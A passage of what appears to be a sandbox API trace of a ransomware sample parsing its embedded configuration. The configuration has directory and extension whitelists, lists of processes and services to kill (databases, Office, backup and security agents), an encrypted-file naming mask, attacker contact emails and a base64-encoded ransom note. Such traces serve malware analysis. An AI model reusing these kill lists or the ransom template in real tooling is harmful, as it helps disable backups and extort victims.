\"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x2dcf638, _Radix=0 | out: _EndPtr=0x2dcf638*=",\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 16534 [0055.969] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3161c88, Size=0x10) returned 0x3161b80 [0055.969] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31684e8 [0055.970] strtol (in: _Str="10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x2dcf638, _Radix=0 | out: _EndPtr=0x2dcf638*=",\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 10 [0055.970] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3161b80, Size=0x14) returned 0x3168508 [0055.970] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3168568 [0055.970] strtol (in: _Str="6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x2dcf638, _Radix=0 | out: _EndPtr=0x2dcf638*=", \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], 